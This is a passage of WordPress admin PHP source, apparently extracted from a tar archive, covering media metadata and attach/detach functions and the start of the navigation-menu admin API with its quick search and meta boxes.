	 * More complete data can be parsed from the `$data` parameter.
	 *
	 * @since 4.9.0
	 *
	 * @param array  $metadata       Filtered Video metadata.
	 * @param string $file           Path to video file.
	 * @param string $file_format    File format of video, as analyzed by getID3.
	 * @param string $data           Raw metadata from getID3.
	 */
	return apply_filters( 'wp_read_video_metadata', $metadata, $file, $file_format, $data );
}

/**
 * Retrieve metadata from an audio file's ID3 tags.
 *
 * @since 3.6.0
 *
 * @param string $file Path to file.
 * @return array|bool Returns array of metadata, if found.
 */
function wp_read_audio_metadata( $file ) {
	if ( ! file_exists( $file ) ) {
		return false;
	}

$metadata = array();

if ( ! defined( 'GETID3_TEMP_DIR' ) ) {
		define( 'GETID3_TEMP_DIR', get_temp_dir() );
	}

if ( ! class_exists( 'getID3', false ) ) {
		require ABSPATH . WPINC . '/ID3/getid3.php';
	}

$id3  = new getID3();
	$data = $id3->analyze( $file );

if ( ! empty( $data['audio'] ) ) {
		unset( $data['audio']['streams'] );
		$metadata = $data['audio'];
	}

if ( ! empty( $data['fileformat'] ) ) {
		$metadata['fileformat'] = $data['fileformat'];
	}

if ( ! empty( $data['filesize'] ) ) {
		$metadata['filesize'] = (int) $data['filesize'];
	}

if ( ! empty( $data['mime_type'] ) ) {
		$metadata['mime_type'] = $data['mime_type'];
	}

if ( ! empty( $data['playtime_seconds'] ) ) {
		$metadata['length'] = (int) round( $data['playtime_seconds'] );
	}

if ( ! empty( $data['playtime_string'] ) ) {
		$metadata['length_formatted'] = $data['playtime_string'];
	}

if ( empty( $metadata['created_timestamp'] ) ) {
		$created_timestamp = wp_get_media_creation_timestamp( $data );

if ( false !== $created_timestamp ) {
			$metadata['created_timestamp'] = $created_timestamp;
		}
	}

wp_add_id3_tag_data( $metadata, $data );

return $metadata;
}

/**
 * Parse creation date from media metadata.
 *
 * The getID3 library doesn't have a standard method for getting creation dates,
 * so the location of this data can vary based on the MIME type.
 *
 * @since 4.9.0
 *
 * @link https://github.com/JamesHeinrich/getID3/blob/master/structure.txt
 *
 * @param array $metadata The metadata returned by getID3::analyze().
 * @return int|bool A UNIX timestamp for the media's creation date if available
 *                  or a boolean FALSE if a timestamp could not be determined.
 */
function wp_get_media_creation_timestamp( $metadata ) {
	$creation_date = false;

if ( empty( $metadata['fileformat'] ) ) {
		return $creation_date;
	}

switch ( $metadata['fileformat'] ) {
		case 'asf':
			if ( isset( $metadata['asf']['file_properties_object']['creation_date_unix'] ) ) {
				$creation_date = (int) $metadata['asf']['file_properties_object']['creation_date_unix'];
			}
			break;

case 'matroska':
		case 'webm':
			if ( isset( $metadata['matroska']['comments']['creation_time']['0'] ) ) {
				$creation_date = strtotime( $metadata['matroska']['comments']['creation_time']['0'] );
			} elseif ( isset( $metadata['matroska']['info']['0']['DateUTC_unix'] ) ) {
				$creation_date = (int) $metadata['matroska']['info']['0']['DateUTC_unix'];
			}
			break;

case 'quicktime':
		case 'mp4':
			if ( isset( $metadata['quicktime']['moov']['subatoms']['0']['creation_time_unix'] ) ) {
				$creation_date = (int) $metadata['quicktime']['moov']['subatoms']['0']['creation_time_unix'];
			}
			break;
	}

return $creation_date;
}

/**
 * Encapsulates the logic for Attach/Detach actions.
 *
 * @since 4.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $parent_id Attachment parent ID.
 * @param string $action    Optional. Attach/detach action. Accepts 'attach' or 'detach'.
 *                          Default 'attach'.
 */
function wp_media_attach_action( $parent_id, $action = 'attach' ) {
	global $wpdb;

if ( ! $parent_id ) {
		return;
	}

if ( ! current_user_can( 'edit_post', $parent_id ) ) {
		wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
	}

$ids = array();

foreach ( (array) $_REQUEST['media'] as $attachment_id ) {
		$attachment_id = (int) $attachment_id;

if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
			continue;
		}

$ids[] = $attachment_id;
	}

if ( ! empty( $ids ) ) {
		$ids_string = implode( ',', $ids );

if ( 'attach' === $action ) {
			$result = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_parent = %d WHERE post_type = 'attachment' AND ID IN ( $ids_string )", $parent_id ) );
		} else {
			$result = $wpdb->query( "UPDATE $wpdb->posts SET post_parent = 0 WHERE post_type = 'attachment' AND ID IN ( $ids_string )" );
		}
	}

if ( isset( $result ) ) {
		foreach ( $ids as $attachment_id ) {
			/**
			 * Fires when media is attached or detached from a post.
			 *
			 * @since 5.5.0
			 *
			 * @param string $action        Attach/detach action. Accepts 'attach' or 'detach'.
			 * @param int    $attachment_id The attachment ID.
			 * @param int    $parent_id     Attachment parent ID.
			 */
			do_action( 'wp_media_attach_action', $action, $attachment_id, $parent_id );

clean_attachment_cache( $attachment_id );
		}

$location = 'upload.php';
		$referer  = wp_get_referer();

if ( $referer ) {
			if ( false !== strpos( $referer, 'upload.php' ) ) {
				$location = remove_query_arg( array( 'attached', 'detach' ), $referer );
			}
		}

$key      = 'attach' === $action ? 'attached' : 'detach';
		$location = add_query_arg( array( $key => $result ), $location );

wp_redirect( $location );
		exit;
	}
}
����������������������������nav-menu.php����������������������������������������������������������������������������������������0000604�����������������00000132712�15075125354�0007014 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * Core Navigation Menu API
 *
 * @package WordPress
 * @subpackage Nav_Menus
 * @since 3.0.0
 */

/** Walker_Nav_Menu_Edit class */
require_once ABSPATH . 'wp-admin/includes/class-walker-nav-menu-edit.php';

/** Walker_Nav_Menu_Checklist class */
require_once ABSPATH . 'wp-admin/includes/class-walker-nav-menu-checklist.php';

/**
 * Prints the appropriate response to a menu quick search.
 *
 * @since 3.0.0
 *
 * @param array $request The unsanitized request values.
 */
function _wp_ajax_menu_quick_search( $request = array() ) {
	$args            = array();
	$type            = isset( $request['type'] ) ? $request['type'] : '';
	$object_type     = isset( $request['object_type'] ) ? $request['object_type'] : '';
	$query           = isset( $request['q'] ) ? $request['q'] : '';
	$response_format = isset( $request['response-format'] ) ? $request['response-format'] : '';

if ( ! $response_format || ! in_array( $response_format, array( 'json', 'markup' ), true ) ) {
		$response_format = 'json';
	}

if ( 'markup' === $response_format ) {
		$args['walker'] = new Walker_Nav_Menu_Checklist;
	}

if ( 'get-post-item' === $type ) {
		if ( post_type_exists( $object_type ) ) {
			if ( isset( $request['ID'] ) ) {
				$object_id = (int) $request['ID'];
				if ( 'markup' === $response_format ) {
					echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', array( get_post( $object_id ) ) ), 0, (object) $args );
				} elseif ( 'json' === $response_format ) {
					echo wp_json_encode(
						array(
							'ID'         => $object_id,
							'post_title' => get_the_title( $object_id ),
							'post_type'  => get_post_type( $object_id ),
						)
					);
					echo "\n";
				}
			}
		} elseif ( taxonomy_exists( $object_type ) ) {
			if ( isset( $request['ID'] ) ) {
				$object_id = (int) $request['ID'];
				if ( 'markup' === $response_format ) {
					echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', array( get_term( $object_id, $object_type ) ) ), 0, (object) $args );
				} elseif ( 'json' === $response_format ) {
					$post_obj = get_term( $object_id, $object_type );
					echo wp_json_encode(
						array(
							'ID'         => $object_id,
							'post_title' => $post_obj->name,
							'post_type'  => $object_type,
						)
					);
					echo "\n";
				}
			}
		}
	} elseif ( preg_match( '/quick-search-(posttype|taxonomy)-([a-zA-Z_-]*\b)/', $type, $matches ) ) {
		if ( 'posttype' === $matches[1] && get_post_type_object( $matches[2] ) ) {
			$post_type_obj = _wp_nav_menu_meta_box_object( get_post_type_object( $matches[2] ) );
			$args          = array_merge(
				$args,
				array(
					'no_found_rows'          => true,
					'update_post_meta_cache' => false,
					'update_post_term_cache' => false,
					'posts_per_page'         => 10,
					'post_type'              => $matches[2],
					's'                      => $query,
				)
			);
			if ( isset( $post_type_obj->_default_query ) ) {
				$args = array_merge( $args, (array) $post_type_obj->_default_query );
			}
			$search_results_query = new WP_Query( $args );
			if ( ! $search_results_query->have_posts() ) {
				return;
			}
			while ( $search_results_query->have_posts() ) {
				$post = $search_results_query->next_post();
				if ( 'markup' === $response_format ) {
					$var_by_ref = $post->ID;
					echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', array( get_post( $var_by_ref ) ) ), 0, (object) $args );
				} elseif ( 'json' === $response_format ) {
					echo wp_json_encode(
						array(
							'ID'         => $post->ID,
							'post_title' => get_the_title( $post->ID ),
							'post_type'  => $matches[2],
						)
					);
					echo "\n";
				}
			}
		} elseif ( 'taxonomy' === $matches[1] ) {
			$terms = get_terms(
				array(
					'taxonomy'   => $matches[2],
					'name__like' => $query,
					'number'     => 10,
					'hide_empty' => false,
				)
			);
			if ( empty( $terms ) || is_wp_error( $terms ) ) {
				return;
			}
			foreach ( (array) $terms as $term ) {
				if ( 'markup' === $response_format ) {
					echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', array( $term ) ), 0, (object) $args );
				} elseif ( 'json' === $response_format ) {
					echo wp_json_encode(
						array(
							'ID'         => $term->term_id,
							'post_title' => $term->name,
							'post_type'  => $matches[2],
						)
					);
					echo "\n";
				}
			}
		}
	}
}

/**
 * Register nav menu meta boxes and advanced menu items.
 *
 * @since 3.0.0
 */
function wp_nav_menu_setup() {
	// Register meta boxes.
	wp_nav_menu_post_type_meta_boxes();
	add_meta_box( 'add-custom-links', __( 'Custom Links' ), 'wp_nav_menu_item_link_meta_box', 'nav-menus', 'side', 'default' );
	wp_nav_menu_taxonomy_meta_boxes();

// Register advanced menu items (columns).
	add_filter( 'manage_nav-menus_columns', 'wp_nav_menu_manage_columns' );

// If first time editing, disable advanced items by default.
	if ( false === get_user_option( 'managenav-menuscolumnshidden' ) ) {
		$user = wp_get_current_user();
		update_user_option(
			$user->ID,
			'managenav-menuscolumnshidden',
			array(
				0 => 'link-target',
				1 => 'css-classes',
				2 => 'xfn',
				3 => 'description',
				4 => 'title-attribute',
			),
			true
		);
	}
}

/**
 * Limit the amount of meta boxes to pages, posts, links, and categories for first time users.
 *
 * @since 3.0.0
 *
 * @global array $wp_meta_boxes
 */
function wp_initial_nav_menu_meta_boxes() {
	global $wp_meta_boxes;

if ( get_user_option( 'metaboxhidden_nav-menus' ) !== false || ! is_array( $wp_meta_boxes ) ) {
		return;
	}

$initial_meta_boxes = array( 'add-post-type-page', 'add-post-type-post', 'add-custom-links', 'add-category' );
	$hidden_meta_boxes  = array();

foreach ( array_keys( $wp_meta_boxes['nav-menus'] ) as $context ) {
		foreach ( array_keys( $wp_meta_boxes['nav-menus'][ $context ] ) as $priority ) {
			foreach ( $wp_meta_boxes['nav-menus'][ $context ][ $priority ] as $box ) {
				if ( in_array( $box['id'], $initial_meta_boxes, true ) ) {
					unset( $box['id'] );
				} else {
					$hidden_meta_boxes[] = $box['id'];
				}
			}
		}
	}

$user = wp_get_current_user();
	update_user_option( $user->ID, 'metaboxhidden_nav-menus', $hidden_meta_boxes, true );
}

/**
 * Creates meta boxes for any post type menu item..
 *
 * @since 3.0.0
 */
function wp_nav_menu_post_type_meta_boxes() {
	$post_types = get_post_types( array( 'show_in_nav_menus' => true ), 'object' );

if ( ! $post_types ) {
		return;
	}

foreach ( $post_types as $post_type ) {
		/**
		 * Filters whether a menu items meta box will be added for the current
		 * object type.
		 *
		 * If a falsey value is returned instead of an object, the menu items
		 * meta box for the current meta box object will not be added.
		 *
		 * @since 3.0.0
		 *
		 * @param WP_Post_Type|false $post_type The current object to add a menu items
		 *                                      meta box for.
		 */
		$post_type = apply_filters( 'nav_menu_meta_box_object', $post_type );
		if ( $post_type ) {
			$id = $post_type->name;
			// Give pages a higher priority.
			$priority = ( 'page' === $post_type->name ? 'core' : 'default' );
			add_meta_box( "add-post-type-{$id}", $post_type->labels->name, 'wp_nav_menu_item_post_type_meta_box', 'nav-menus', 'side', $priority, $post_type );
		}
	}
}

/**
 * Creates meta boxes for any taxonomy menu item.
 *
 * @since 3.0.0
 */
function wp_nav_menu_taxonomy_meta_boxes() {
	$taxonomies = get_taxonomies( array( 'show_in_nav_menus' => true ), 'object' );

if ( ! $taxonomies ) {
		return;
	}

foreach ( $taxonomies as $tax ) {
		/** This filter is documented in wp-admin/includes/nav-menu.php */
		$tax = apply_filters( 'nav_menu_meta_box_object', $tax );
		if ( $tax ) {
			$id = $tax->name;
			add_meta_box( "add-{$id}", $tax->labels->name, 'wp_nav_menu_item_taxonomy_meta_box', 'nav-menus', 'side', 'default', $tax );
		}
	}
}

/**
 * Check whether to disable the Menu Locations meta box submit button and inputs.
 *
 * @since 3.6.0
 * @since 5.3.1 The `$echo` parameter was added.
 *
 * @global bool $one_theme_location_no_menus to determine if no menus exist
 *
 * @param int|string $nav_menu_selected_id ID, name, or slug of the currently selected menu.
 * @param bool       $echo                 Whether to echo or just return the string.
 * @return string|false Disabled attribute if at least one menu exists, false if not.
 */
function wp_nav_menu_disabled_check( $nav_menu_selected_id, $echo = true ) {
	global $one_theme_location_no_menus;

if ( $one_theme_location_no_menus ) {
		return false;
	}

return disabled( $nav_menu_selected_id, 0, $echo );
}

/**
 * Displays a meta box for the custom links menu item.
 *
 * @since 3.0.0
 *
 * @global int        $_nav_menu_placeholder
 * @global int|string $nav_menu_selected_id
 */
function wp_nav_menu_item_link_meta_box() {
	global $_nav_menu_placeholder, $nav_menu_selected_id;

$_nav_menu_placeholder = 0 > $_nav_menu_placeholder ? $_nav_menu_placeholder - 1 : -1;

?>
	<div class="customlinkdiv" id="customlinkdiv">
		<input type="hidden" value="custom" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-type]" />
		<p id="menu-item-url-wrap" class="wp-clearfix">
			<label class="howto" for="custom-menu-item-url"><?php _e( 'URL' ); ?></label>
			<input id="custom-menu-item-url" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-url]" type="text"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> class="code menu-item-textbox" placeholder="https://" />
		</p>

<p id="menu-item-name-wrap" class="wp-clearfix">
			<label class="howto" for="custom-menu-item-name"><?php _e( 'Link Text' ); ?></label>
			<input id="custom-menu-item-name" name="menu-item[<?php echo $_nav_menu_placeholder; ?>][menu-item-title]" type="text"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> class="regular-text menu-item-textbox" />
		</p>

<p class="button-controls wp-clearfix">
			<span class="add-to-menu">
				<input type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> class="button submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>" name="add-custom-menu-item" id="submit-customlinkdiv" />
				<span class="spinner"></span>
			</span>
		</p>

</div>
	<?php
}

/**
 * Displays a meta box for a post type menu item.
 *
 * @since 3.0.0
 *
 * @global int        $_nav_menu_placeholder
 * @global int|string $nav_menu_selected_id
 *
 * @param string $object Not used.
 * @param array  $box {
 *     Post type menu item meta box arguments.
 *
 *     @type string       $id       Meta box 'id' attribute.
 *     @type string       $title    Meta box title.
 *     @type callable     $callback Meta box display callback.
 *     @type WP_Post_Type $args     Extra meta box arguments (the post type object for this meta box).
 * }
 */
function wp_nav_menu_item_post_type_meta_box( $object, $box ) {
	global $_nav_menu_placeholder, $nav_menu_selected_id;

$post_type_name = $box['args']->name;
	$post_type      = get_post_type_object( $post_type_name );
	$tab_name       = $post_type_name . '-tab';

// Paginate browsing for large numbers of post objects.
	$per_page = 50;
	$pagenum  = isset( $_REQUEST[ $tab_name ] ) && isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 1;
	$offset   = 0 < $pagenum ? $per_page * ( $pagenum - 1 ) : 0;

$args = array(
		'offset'                 => $offset,
		'order'                  => 'ASC',
		'orderby'                => 'title',
		'posts_per_page'         => $per_page,
		'post_type'              => $post_type_name,
		'suppress_filters'       => true,
		'update_post_term_cache' => false,
		'update_post_meta_cache' => false,
	);

if ( isset( $box['args']->_default_query ) ) {
		$args = array_merge( $args, (array) $box['args']->_default_query );
	}

/*
	 * If we're dealing with pages, let's prioritize the Front Page,
	 * Posts Page and Privacy Policy Page at the top of the list.
	 */
	$important_pages = array();
	if ( 'page' === $post_type_name ) {
		$suppress_page_ids = array();

// Insert Front Page or custom Home link.
		$front_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_on_front' ) : 0;

$front_page_obj = null;
		if ( ! empty( $front_page ) ) {
			$front_page_obj                = get_post( $front_page );
			$front_page_obj->front_or_home = true;

$important_pages[]   = $front_page_obj;
			$suppress_page_ids[] = $front_page_obj->ID;
		} else {
			$_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? intval( $_nav_menu_placeholder ) - 1 : -1;
			$front_page_obj        = (object) array(
				'front_or_home' => true,
				'ID'            => 0,
				'object_id'     => $_nav_menu_placeholder,
				'post_content'  => '',
				'post_excerpt'  => '',
				'post_parent'   => '',
				'post_title'    => _x( 'Home', 'nav menu home label' ),
				'post_type'     => 'nav_menu_item',
				'type'          => 'custom',
				'url'           => home_url( '/' ),
			);

$important_pages[] = $front_page_obj;
		}

// Insert Posts Page.
		$posts_page = 'page' === get_option( 'show_on_front' ) ? (int) get_option( 'page_for_posts' ) : 0;

if ( ! empty( $posts_page ) ) {
			$posts_page_obj             = get_post( $posts_page );
			$posts_page_obj->posts_page = true;

$important_pages[]   = $posts_page_obj;
			$suppress_page_ids[] = $posts_page_obj->ID;
		}

// Insert Privacy Policy Page.
		$privacy_policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );

if ( ! empty( $privacy_policy_page_id ) ) {
			$privacy_policy_page = get_post( $privacy_policy_page_id );
			if ( $privacy_policy_page instanceof WP_Post && 'publish' === $privacy_policy_page->post_status ) {
				$privacy_policy_page->privacy_policy_page = true;

$important_pages[]   = $privacy_policy_page;
				$suppress_page_ids[] = $privacy_policy_page->ID;
			}
		}

// Add suppression array to arguments for WP_Query.
		if ( ! empty( $suppress_page_ids ) ) {
			$args['post__not_in'] = $suppress_page_ids;
		}
	}

// @todo Transient caching of these results with proper invalidation on updating of a post of this type.
	$get_posts = new WP_Query;
	$posts     = $get_posts->query( $args );

// Only suppress and insert when more than just suppression pages available.
	if ( ! $get_posts->post_count ) {
		if ( ! empty( $suppress_page_ids ) ) {
			unset( $args['post__not_in'] );
			$get_posts = new WP_Query;
			$posts     = $get_posts->query( $args );
		} else {
			echo '<p>' . __( 'No items.' ) . '</p>';
			return;
		}
	} elseif ( ! empty( $important_pages ) ) {
		$posts = array_merge( $important_pages, $posts );
	}

$num_pages = $get_posts->max_num_pages;

$page_links = paginate_links(
		array(
			'base'               => add_query_arg(
				array(
					$tab_name     => 'all',
					'paged'       => '%#%',
					'item-type'   => 'post_type',
					'item-object' => $post_type_name,
				)
			),
			'format'             => '',
			'prev_text'          => '<span aria-label="' . esc_attr__( 'Previous page' ) . '">' . __( '&laquo;' ) . '</span>',
			'next_text'          => '<span aria-label="' . esc_attr__( 'Next page' ) . '">' . __( '&raquo;' ) . '</span>',
			'before_page_number' => '<span class="screen-reader-text">' . __( 'Page' ) . '</span> ',
			'total'              => $num_pages,
			'current'            => $pagenum,
		)
	);

$db_fields = false;
	if ( is_post_type_hierarchical( $post_type_name ) ) {
		$db_fields = array(
			'parent' => 'post_parent',
			'id'     => 'ID',
		);
	}

$walker = new Walker_Nav_Menu_Checklist( $db_fields );

$current_tab = 'most-recent';

if ( isset( $_REQUEST[ $tab_name ] ) && in_array( $_REQUEST[ $tab_name ], array( 'all', 'search' ), true ) ) {
		$current_tab = $_REQUEST[ $tab_name ];
	}

if ( ! empty( $_REQUEST[ 'quick-search-posttype-' . $post_type_name ] ) ) {
		$current_tab = 'search';
	}

$removed_args = array(
		'action',
		'customlink-tab',
		'edit-menu-item',
		'menu-item',
		'page-tab',
		'_wpnonce',
	);

$most_recent_url = '';
	$view_all_url    = '';
	$search_url      = '';
	if ( $nav_menu_selected_id ) {
		$most_recent_url = esc_url( add_query_arg( $tab_name, 'most-recent', remove_query_arg( $removed_args ) ) );
		$view_all_url    = esc_url( add_query_arg( $tab_name, 'all', remove_query_arg( $removed_args ) ) );
		$search_url      = esc_url( add_query_arg( $tab_name, 'search', remove_query_arg( $removed_args ) ) );
	}
	?>
	<div id="posttype-<?php echo $post_type_name; ?>" class="posttypediv">
		<ul id="posttype-<?php echo $post_type_name; ?>-tabs" class="posttype-tabs add-menu-item-tabs">
			<li <?php echo ( 'most-recent' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link" data-type="tabs-panel-posttype-<?php echo esc_attr( $post_type_name ); ?>-most-recent" href="<?php echo $most_recent_url; ?>#tabs-panel-posttype-<?php echo $post_type_name; ?>-most-recent">
					<?php _e( 'Most Recent' ); ?>
				</a>
			</li>
			<li <?php echo ( 'all' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link" data-type="<?php echo esc_attr( $post_type_name ); ?>-all" href="<?php echo $view_all_url; ?>#<?php echo $post_type_name; ?>-all">
					<?php _e( 'View All' ); ?>
				</a>
			</li>
			<li <?php echo ( 'search' === $current_tab ? ' class="tabs"' : '' ); ?>>
				<a class="nav-tab-link" data-type="tabs-panel-posttype-<?php echo esc_attr( $post_type_name ); ?>-search" href="<?php echo $search_url; ?>#tabs-panel-posttype-<?php echo $post_type_name; ?>-search">
					<?php _e( 'Search' ); ?>
				</a>
			</li>
		</ul>

<div id="tabs-panel-posttype-<?php echo $post_type_name; ?>-most-recent" class="tabs-panel <?php echo ( 'most-recent' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>" role="region" aria-label="<?php _e( 'Most Recent' ); ?>" tabindex="0">
			<ul id="<?php echo $post_type_name; ?>checklist-most-recent" class="categorychecklist form-no-clear">
				<?php
				$recent_args    = array_merge(
					$args,
					array(
						'orderby'        => 'post_date',
						'order'          => 'DESC',
						'posts_per_page' => 15,
					)
				);
				$most_recent    = $get_posts->query( $recent_args );
				$args['walker'] = $walker;

/**
				 * Filters the posts displayed in the 'Most Recent' tab of the current
				 * post type's menu items meta box.
				 *
				 * The dynamic portion of the hook name, `$post_type_name`, refers to the post type name.
				 *
				 * @since 4.3.0
				 * @since 4.9.0 Added the `$recent_args` parameter.
				 *
				 * @param WP_Post[] $most_recent An array of post objects being listed.
				 * @param array     $args        An array of `WP_Query` arguments for the meta box.
				 * @param array     $box         Arguments passed to `wp_nav_menu_item_post_type_meta_box()`.
				 * @param array     $recent_args An array of `WP_Query` arguments for 'Most Recent' tab.
				 */
				$most_recent = apply_filters( "nav_menu_items_{$post_type_name}_recent", $most_recent, $args, $box, $recent_args );

echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', $most_recent ), 0, (object) $args );
				?>
			</ul>
		</div>

<div class="tabs-panel <?php echo ( 'search' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>" id="tabs-panel-posttype-<?php echo $post_type_name; ?>-search" role="region" aria-label="<?php echo $post_type->labels->search_items; ?>" tabindex="0">
			<?php
			if ( isset( $_REQUEST[ 'quick-search-posttype-' . $post_type_name ] ) ) {
				$searched       = esc_attr( $_REQUEST[ 'quick-search-posttype-' . $post_type_name ] );
				$search_results = get_posts(
					array(
						's'         => $searched,
						'post_type' => $post_type_name,
						'fields'    => 'all',
						'order'     => 'DESC',
					)
				);
			} else {
				$searched       = '';
				$search_results = array();
			}
			?>
			<p class="quick-search-wrap">
				<label for="quick-search-posttype-<?php echo $post_type_name; ?>" class="screen-reader-text"><?php _e( 'Search' ); ?></label>
				<input type="search"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> class="quick-search" value="<?php echo $searched; ?>" name="quick-search-posttype-<?php echo $post_type_name; ?>" id="quick-search-posttype-<?php echo $post_type_name; ?>" />
				<span class="spinner"></span>
				<?php submit_button( __( 'Search' ), 'small quick-search-submit hide-if-js', 'submit', false, array( 'id' => 'submit-quick-search-posttype-' . $post_type_name ) ); ?>
			</p>

<ul id="<?php echo $post_type_name; ?>-search-checklist" data-wp-lists="list:<?php echo $post_type_name; ?>" class="categorychecklist form-no-clear">
			<?php if ( ! empty( $search_results ) && ! is_wp_error( $search_results ) ) : ?>
				<?php
				$args['walker'] = $walker;
				echo walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', $search_results ), 0, (object) $args );
				?>
			<?php elseif ( is_wp_error( $search_results ) ) : ?>
				<li><?php echo $search_results->get_error_message(); ?></li>
			<?php elseif ( ! empty( $searched ) ) : ?>
				<li><?php _e( 'No results found.' ); ?></li>
			<?php endif; ?>
			</ul>
		</div>

<div id="<?php echo $post_type_name; ?>-all" class="tabs-panel tabs-panel-view-all <?php echo ( 'all' === $current_tab ? 'tabs-panel-active' : 'tabs-panel-inactive' ); ?>" role="region" aria-label="<?php echo $post_type->labels->all_items; ?>" tabindex="0">
			<?php if ( ! empty( $page_links ) ) : ?>
				<div class="add-menu-item-pagelinks">
					<?php echo $page_links; ?>
				</div>
			<?php endif; ?>
			<ul id="<?php echo $post_type_name; ?>checklist" data-wp-lists="list:<?php echo $post_type_name; ?>" class="categorychecklist form-no-clear">
				<?php
				$args['walker'] = $walker;

if ( $post_type->has_archive ) {
					$_nav_menu_placeholder = ( 0 > $_nav_menu_placeholder ) ? intval( $_nav_menu_placeholder ) - 1 : -1;
					array_unshift(
						$posts,
						(object) array(
							'ID'           => 0,
							'object_id'    => $_nav_menu_placeholder,
							'object'       => $post_type_name,
							'post_content' => '',
							'post_excerpt' => '',
							'post_title'   => $post_type->labels->archives,
							'post_type'    => 'nav_menu_item',
							'type'         => 'post_type_archive',
							'url'          => get_post_type_archive_link( $post_type_name ),
						)
					);
				}

/**
				 * Filters the posts displayed in the 'View All' tab of the current
				 * post type's menu items meta box.
				 *
				 * The dynamic portion of the hook name, `$post_type_name`, refers
				 * to the slug of the current post type.
				 *
				 * @since 3.2.0
				 * @since 4.6.0 Converted the `$post_type` parameter to accept a WP_Post_Type object.
				 *
				 * @see WP_Query::query()
				 *
				 * @param object[]     $posts     The posts for the current post type. Mostly `WP_Post` objects, but
				 *                                can also contain "fake" post objects to represent other menu items.
				 * @param array        $args      An array of `WP_Query` arguments.
				 * @param WP_Post_Type $post_type The current post type object for this menu item meta box.
				 */
				$posts = apply_filters( "nav_menu_items_{$post_type_name}", $posts, $args, $post_type );

$checkbox_items = walk_nav_menu_tree( array_map( 'wp_setup_nav_menu_item', $posts ), 0, (object) $args );

echo $checkbox_items;
				?>
			</ul>
			<?php if ( ! empty( $page_links ) ) : ?>
				<div class="add-menu-item-pagelinks">
					<?php echo $page_links; ?>
				</div>
			<?php endif; ?>
		</div>

<p class="button-controls wp-clearfix" data-items-type="posttype-<?php echo esc_attr( $post_type_name ); ?>">
			<span class="list-controls hide-if-no-js">
				<input type="checkbox"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> id="<?php echo esc_attr( $tab_name ); ?>" class="select-all" />
				<label for="<?php echo esc_attr( $tab_name ); ?>"><?php _e( 'Select All' ); ?></label>
			</span>

<span class="add-to-menu">
				<input type="submit"<?php wp_nav_menu_disabled_check( $nav_menu_selected_id ); ?> class="button submit-add-to-menu right" value="<?php esc_attr_e( 'Add to Menu' ); ?>" name="add-post-type-menu-item" id="<?php echo esc_attr( 'submit-posttype-' . $post_type_name ); ?>" />
				<span class="spinner"></span>
			</span>
		</p>

</div>
	<?php
}

/**
 * Displays a meta box for a taxonomy menu item.
 *
 * @since 3.0.0
 *
 * @global int|string $nav_menu_selected_id
 *
 * @param string $object Not used.
 * @param array  $box {
 *     Taxonomy menu item meta box arguments.
 *
 *     @type string   $id       Meta box 'id' attribute.
 *     @type string   $title    Meta box title.
 *     @type callable $callback Meta box display callback.
 *     @type object   $args     Extra meta box arguments (the taxonomy object for this meta box).
 * }
 */
function wp_nav_menu_item_taxonomy_meta_box( $object, $box ) {
	global $nav_menu_selected_id;

$taxonomy_name = $box['args']->name;
	$taxonomy      = get_taxonomy( $taxonomy_name );
	$tab_name      = $taxonomy_name . '-tab';

// Paginate browsing for large numbers of objects.
	$per_page = 50;
	$pagenum  = isset( $_REQUEST[ $tab_name ] ) && isset( $_REQUEST['paged'] ) ? absint( $_REQUEST['paged'] ) : 1;
	$offset   = 0 < $pagenum ? $per_page * ( $pagenum - 1 ) : 0;

$args = array(
		'taxonomy'     => $taxonomy_name,
		'child_of'     => 0,
		'exclude'      => '',
		'hide_empty'   => false,
		'hierarchical' => 1,
		'include'      => '',
		'number'       => $per_page,
		'offset'       => $offset,
		'order'        => 'ASC',
		'orderby'      => 'name',
		'pad_counts'   => false,
	);

$terms = get_terms( $args );

if ( ! $terms || is_wp_error( $terms ) ) {
		echo '<p>' . __( 'No items.' ) . '</p>';
		return;
	}

$num_pages = ceil(
		wp_count_terms(
			$taxonomy_name,
			array_merge(
				$args,
				array(
					'number' => '',
					'offset' => '',
				)
			)
		) / $per_page
	);

$page_links = paginate_links(
		array(
			'base'               => add_query_arg(
				array(
					$tab_name     => 'all',
					'paged'       => '%#%',
					'item-type'   => 'taxonomy',
					'item-object' => $taxonomy_name,
				)
			),
			'format'             => '',
			'prev_text'          => '<span aria-label="' . esc_attr__( 'Previous page' ) . '">' . __( '&laquo;' ) . '</span>',
			'next_text'          => '<span aria-label="' . esc_attr__( 'Next page' ) . '">' . __( '&raquo;' ) . '</span>',
			'before_page_number' => '<span class="screen-reader-text">' . __( 'Page' ) . '</span> ',
			'total'              => $num_pages,
			'current'            => $pagenum,
		)
	);

$db_fields = false;
	if ( is_taxonomy_hierarchical( $taxonomy_name ) ) {
		$db_fields = array(
			'parent' => 'parent',
			'id'     => 'term_id',
		);
	}

$walker = new Walker_Nav_Menu_Checklist( $db_fields );

$current_tab = 'most-used';

